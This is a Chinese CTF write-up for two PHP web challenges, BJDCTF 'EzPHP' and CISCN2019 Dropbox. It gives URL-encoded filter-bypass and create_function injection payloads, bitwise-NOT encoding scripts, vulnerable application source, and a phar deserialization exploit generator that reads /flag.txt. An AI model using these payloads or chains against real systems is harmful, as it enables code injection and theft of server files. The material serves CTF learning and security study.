preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
过滤了一堆东西
首先是这个,query_string获取的内容不会进行url解码,所以绕过这一步就只需要把传入的参数进行url编码就行
这里可以用换行符%0a绕过preg_match的匹配
这个由于检测的$_REQUEST,而对 $_REQUEST来说post的优先级大于get,所以要post传入和get内容相同的参数,把值改为数字就行
这个要用data://伪协议就行
常见的数组绕过
最后这也是最重要的地方
首先说一下create_function注入
create_function()
函数有两个参数 $args
和 $code
,用于创建一个 lambda 样式的函数
但是我们可以通过对b进行操作,来实现这个函数的提前闭合,并写入我们想要的命令,然后通过注释符使语句合理
$arg
和 $code
变量都是可控的,因为 extract()
函数使用数组键名作为变量名,使用数组键值作为变量值,针对数组中的每个元素,将在当前符号表中创建对应的一个变量。因此只要 extract()
内的数组键名为 arg
和 code
,键值为我们构造的用来注入的代码,即可实现 $arg
和 $code
的变量覆盖,导致代码注入。
再利用
var_dump(get_defined_vars())
用来输出所有变量和值
/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%3b%62%61%73%65%36%34%2c%5a%47%56%69%64%56%39%6b%5a%57%4a%31%58%32%46%78%64%57%45%3d&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%61%72%67%5d=%7d%76%61%72%5f%64%75%6d%70%28%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73%28%29%29%3b%2f%2f&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e
解码内容:
/1nD3x.php?file=data://text/plain;base64,ZGVidV9kZWJ1X2FxdWE=&debu=aqua_is_cute
&shana[]=1&passwd[]=2&flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function
但是看见flag在rea1fl4g里
所以要利用require包含这个文件然后再用get_defined_vars()读一遍试试
但是又过滤了.
所以试试base64编码
GET:
/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%3b%62%61%73%65%36%34%2c%5a%47%56%69%64%56%39%6b%5a%57%4a%31%58%32%46%78%64%57%45%3d&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%61%72%67%5d=%7d%72%65%71%75%69%72%65%28%62%61%73%65%36%34%5f%64%65%63%6f%64%65%28%63%6d%56%68%4d%57%5a%73%4e%47%63%75%63%47%68%77%29%29%3b%76%61%72%5f%64%75%6d%70%28%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73%28%29%29%3b%2f%2f&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e
POST:
file=1&debu=1&shana[]=1&passwd[]=1
还是不行,尝试伪协议读源码了只能
require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)
采用取反绕过过滤
GET:
/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%3b%62%61%73%65%36%34%2c%5a%47%56%69%64%56%39%6b%5a%57%4a%31%58%32%46%78%64%57%45%3d&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e
POST:
file=1&debu=1&shana[]=1&passwd[]=1
// preg_match() 只能匹配字符串,数组得以绕过。
2020BJDCTF “EzPHP” +Y1ngCTF “Y1ng’s Baby Code” 官方writeup – 颖奇L'Amore (gem-love.com)
原题用异或也可以,贴个脚本先,万一以后能用到
#Author: piCEBDC7
str_= '1flag.php'
str_=list(str_)
final=''
for x in str_:
print(hex(~ord(x)&0xff))
final+=hex(~ord(x)&0xff)
print(str_)
final = final.replace('0x','%')
final+='^'
for x in range(len(str_)):
final+=r'%ff'
print(final)
取反脚本
<?
//Author: 颖奇L'Amore
//Blog: www.gem-love.com
$a = "p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = 1 f l a g . p h p";
$arr1 = explode(' ', $a);
echo "<br>~(";
foreach ($arr1 as $key => $value) {
echo "%".bin2hex(~$value);
}
echo ")<br>";
用羽师傅那个也行
[CISCN2019 华北赛区 Day1 Web1]Dropbox
知识点:phar的反序列化
传个jpg文件然后下载的时候抓包有个filename,这里可以实现任意文件读取
index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
login.php
<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>
<?php
include "class.php";
if (isset($_GET['register'])) {
echo "<script>toast('注册成功', 'info');</script>";
}
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && $u->verify_user($username, $password)) {
$_SESSION['login'] = true;
$_SESSION['username'] = htmlentities($username);
$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
$_SESSION['sandbox'] = $sandbox;
echo("<script>window.location.href='index.php';</script>");
die();
}
echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
phar反序列化利用条件:
1)phar文件要能够上传至服务器
2)要有可用的魔术方法为跳板
3)文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
对于本题而言,第一条满足,第二条有一个魔术方法__call()和FileList类、User类的__destruct(),恐怕想不利用它们也不行,第三条后半部分没问题,前半部分则需要我们找一找。
既文件操作函数,就应该在本题的File类(至多也在FileList类)的方法中寻找,毕竟整个题目基本上都是在面向对象的基础上编程,对文件的操作也都是对File类的对象的操作,
我们看到,open()方法调用了file_exists()和is_dir()函数(注意name方法里的basename函数不算),size()方法调用了filesize()函数,delete()方法调用了unlink()函数,close()方法file_get_contents()函数。
本题要读取/flag.txt文件,故刚刚列举的这些函数中,虽然文件操作函数不少,可以用来触发反序列化,对读取文件有用的只有close()方法中的file_get_contents()函数这一个,所以我们可以对它分析,
这个时候,如果想不到__call()方法和__destruct()方法,基本上就可以放弃了,在phar题目里,魔术方法一般来讲是必须要用的,
这里我们看到,FileList的__call()方法语义简单,就是遍历files数组,对每一个file变量执行一次$func,然后将结果存进$results数组,
接下来的__destruct__函数会将FileList对象的funcs变量和results数组中的内容以HTML表格的形式输出在index.php上(我们可以看到,index.php里创建了一个FileList对象,在脚本执行完毕后触发__destruct__,则会输出该用户目录下的文件信息),
User对象的__destruct()方法,
无非就是 脚本执行完毕后,执行$db的close()的方法(来关闭数据库连接),但话说回来,没有括号里的话,这句话依然成立,而且这个'close'与File类中的close()方法同名。所以,当db的值为一个FileList对象时,User对象析构之时,会触发FileList->close(),但FileList里没有这个方法,于是调用_call函数,进而执行file_get_contents($filename),读取了文件内容。整个链的结构也很简单清晰:在我们控制$db为一个FileList对象的情况下,$user->__destruct() => $db->close() => $db->__call('close') => $file->close() => $results=file_get_contents($filename) => FileList->__destruct()输出$result。
反序列化脚本
<?php
class User {
public $db;
}
class File{
public $filename;
public function __construct($name){
$this->filename=$name;
}
}
class FileList {
private $files;
public function __construct(){
$this->files=array(new File('/flag.txt'));
}
}
$o = new User();
$o->db =new FileList();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
参考文章
CISCN2019 华北赛区 Day1 Web1]Dropbox之愚见 - 简书 (jianshu.com)
CISCN2019 华北赛区 Day1 Web1]Dropbox_silence1_的博客-CSDN博客_buuctf 反序列化